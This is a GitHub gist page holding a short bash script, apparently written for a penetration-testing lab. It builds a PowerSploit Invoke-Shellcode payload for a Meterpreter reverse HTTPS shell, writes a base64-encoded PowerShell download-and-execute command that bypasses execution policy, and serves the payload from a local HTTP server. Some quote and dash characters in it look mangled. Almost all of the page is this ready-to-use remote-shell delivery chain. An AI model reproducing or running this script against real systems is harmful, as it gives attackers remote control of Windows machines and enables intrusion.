Skip to content

Instantly share code, notes, and snippets.

@tbhaxor
Last active November 13, 2019 16:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tbhaxor/cb9385f3e33cf0fa97bba5003dfa942a to your computer and use it in GitHub Desktop.
Save tbhaxor/cb9385f3e33cf0fa97bba5003dfa942a to your computer and use it in GitHub Desktop.
#!/bin/bash
# meterpreter ip & port
lhost=10.10.14.70
lport=443
echo " * Writing Payload"
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload
echo " * Prepping Command"
scriptblock="iex (New-Object Net.WebClient).DownloadString(‘http://$lhost:8000/payload')"
echo $scriptblock
echo
echo " * Encoding command"
encode="`echo $scriptblock | iconv — to-code UTF-16LE | base64 -w 0`"
echo $encode
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo
echo " * Final command"
echo $command
echo
echo " * Starting HTTP Server to serve payload"
python -m SimpleHTTPServer 8000
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment